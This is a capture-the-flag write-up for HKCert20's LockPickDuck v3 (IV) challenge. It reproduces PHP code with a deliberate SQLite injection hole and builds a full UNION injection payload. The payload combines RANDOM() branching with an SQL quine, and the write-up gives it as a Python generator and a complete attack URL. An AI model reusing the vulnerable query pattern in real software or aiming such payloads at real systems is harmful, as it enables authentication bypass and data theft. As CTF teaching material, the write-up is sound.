HKCert20 CTF : LockPickDuck v3 (IV)
===
(500 pts, 1 solve)
Solver: T0022 - HKUST Member 2
This challenge has part (I), (II), (III) and (IV). This is the writeup of (IV). For part (I), (II) and (III), please [click here](https://hackmd.io/@hoifanrd/S1C7L3BFD).
http:</span>//te</span>rtiary.pwn</span>able.h</span>k:50011
```php=
<?php
class SQZero3 extends SQLite3 {
private $user;
private $pass;
function __construct($user, $pass) {
$this->open(":memory:");
$this->exec("CREATE TABLE users (user text, pass text, hash text)");
$this->user = $user;
$this->pass = $pass;
}
function checkHash(){
return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == md5($this->pass));
}
function checkUser(){
return @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == $this->user);
}
function checkPass(){
return @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") == $this->pass);
}
function checkMate(){
return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === md5($this->pass)) &&
@($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === $this->user) &&
@($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") === $this->pass);
}
}
if (isset($_GET["user"]) && isset($_GET["pass"])) {
require("flag.php");
$sq = new SQZero3($_GET["user"], $_GET["pass"]);
if ($sq->checkHash()) {
echo "<p>Flag 1: $flag1</p>";
if ($sq->checkUser()) {
echo "<p>Flag 2: $flag2</p>";
if ($sq->checkPass()) {
echo "<p>Flag 3: $flag3</p>";
}
}
} else {
echo "No Flag";
}
if ($sq->checkMate()) {
echo "<p>Flag 4: $flag4</p>";
}
} else {
highlight_file(__FILE__);
}
?>
```
Okay. So we are going to get Flag 4. Let's analyze the php code first.
### Analyze the PHP
As we can see, the website use _GET_ to get the field _user_ and _pass_. If the both fieids are set, it will first create a **BLANK** SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/web/sqli/)). Let's see at what situation we can get Flag 4!
```sql
SELECT hash FROM users WHERE user='{$user}' AND pass='{$pass}' === md5($pass) &&
SELECT user FROM users WHERE user='{$user}' AND pass='{$pass}' === $user &&
SELECT pass FROM users WHERE user='{$user}' === $pass
```
If we could satisfy this statement, then we could get Flag 4!
### What to return?
Well. From the above, we could see that we have 2 types of query.
##### 1. `SELECT something FROM users WHERE user='{$user}' AND pass='{$pass}' - (1)`
##### 2. `SELECT something FROM users WHERE user='{$user}' - (2)`
At first, what I think is that it is possible to have 2 different return value with these 2 queries due to the existence of `$pass`. As the PHP function is `querySingle()`, it will just return the first column of the first row as the result. We can let `$pass` be some statement like `ORDER BY`, so that the query without `$pass` will have different value at the first row when compared with the one that has `$pass`. We now can have 2 different return values. However, we met a problem here.
In order to get Flag 4, we need to also make `(1) === md5($pass)` and `(1) === $user`, which means we need `md5($pass) === $user`. This implies that the `$user` field can't be used as SQL Injection commands. But wait, we could only use `$user` to do injection in `(2)`! ...
Therefore, the only solution is to make `md5($pass) != $user` and this means we have to make one single statement to have different return value when executed! How could this even be achieved?
### It's time to gamble!
What is the way to have different output with same statement? We can do this by `random()`! One of the possible query syntax to have different output will be like this:
```sql
SELECT CASE WHEN abs(RANDOM() % 2) = 1 THEN 'one' ELSE 'zero' END
```
This query will output `one` or `zero` with each 50% chance when executed! We can then change this a bit and do the following too:
```sql
SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'two' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN 'one' ELSE 'zero' END END
```
This query allows us to have 3 different output with each 33% chance when executed! This is the query that we want as it can generate 3 different output which can be respectively `md5($pass)`, `$pass` and `$user`in this challenge.
So, let's set `$pass = a`. We also try to find the value of `md5(a)` which we know the value will be `0cc175b9c0f1b6a831c399e269772661`. Therefore, by substituting these 2 values in the above SQL command, it becomes like this:
```sql
SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN '0cc175b9c0f1b6a831c399e269772661' ELSE 'zero' END END
```
This query can now return `$pass` and `md5($pass)`. While the `'zero'` in the above command need to be replaced by `$user`, which `$user` will somehow be the above SQL command. Here's another tricky part, we need a SQL command returns itself. How?
### Quine main by don by main quine
This subheader is a hint of this challenge. What does this mean? It means **quine**! What is a quine? From [Wikipedia](https://en.wikipedia.org/wiki/Quine_(computing)), *a quine is a computer program which takes no input and produces a copy of its own source code as its only output.* While for SQL, it means that the SQL query output will return it's query command.
Here's one of the example:
```sql
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
```
If you run this query, it will output itself! This is exactly what we want.
</br>
So now let's see what should our `$user` should be.
*$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END -- `
Where `$$` should be `$user`, returning the `$user` itself.
</br>
By finding some SQL quine generator, here is a python function for us the generate quine.
```python
def quine(data):
data = data.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$', '"$"').replace("'", '"')
data = data.replace('$$', "'" + blob + "'")
print(data)
```
Therefore, executing `quine("' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1
THEN '0cc175b9c0f1b6a831c399e269772661' ELSE $$ END END -- ")` gives us the following SQL quine.
```sql
' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END --
```
This would be our final `$user`, which is a SQL Injection command which can return `$pass`, `md5($pass)` and the most important - the `$user` itself, in each 33% chance.
### Final Luck
Therefore, this would be the `$user` and `$pass`:
*\$user:* `' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- `
*\$pass:* `a`
Where the final query on the server will be:
```sql
SELECT something FROM users WHERE user='' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- ' AND pass='a'
```
</br>
Payload URL: `http://tertiary.pwnable.hk:50011/?user=' UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN 'a' ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN '0cc175b9c0f1b6a831c399e269772661' ELSE REPLACE(REPLACE('" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT CASE WHEN abs(RANDOM() % 3) = 1 THEN "a" ELSE CASE WHEN abs(RANDOM() % 2) = 1 THEN "0cc175b9c0f1b6a831c399e269772661" ELSE REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") END END -- ') END END -- &pass=a`
The final thing we have to do is to press the F5 on the key many times ~~(like when you reg courses or buy live tickets)~~. As each time the command just has a 1/3 chance of returning the value that we want, which means we have 1/27 chance for Flag 4 to appear. So it's time to test our luck! ~~And it's possible for you to never get the flag if you're unlucky.~~
That's all. See you next time.
</br>
###### P.S. When you are bored and want to test your luck:
![](https://cdn.discordapp.com/attachments/774132843265392653/775044291281813524/unknown.png)
###### tags: `CTF`, `HKCert20`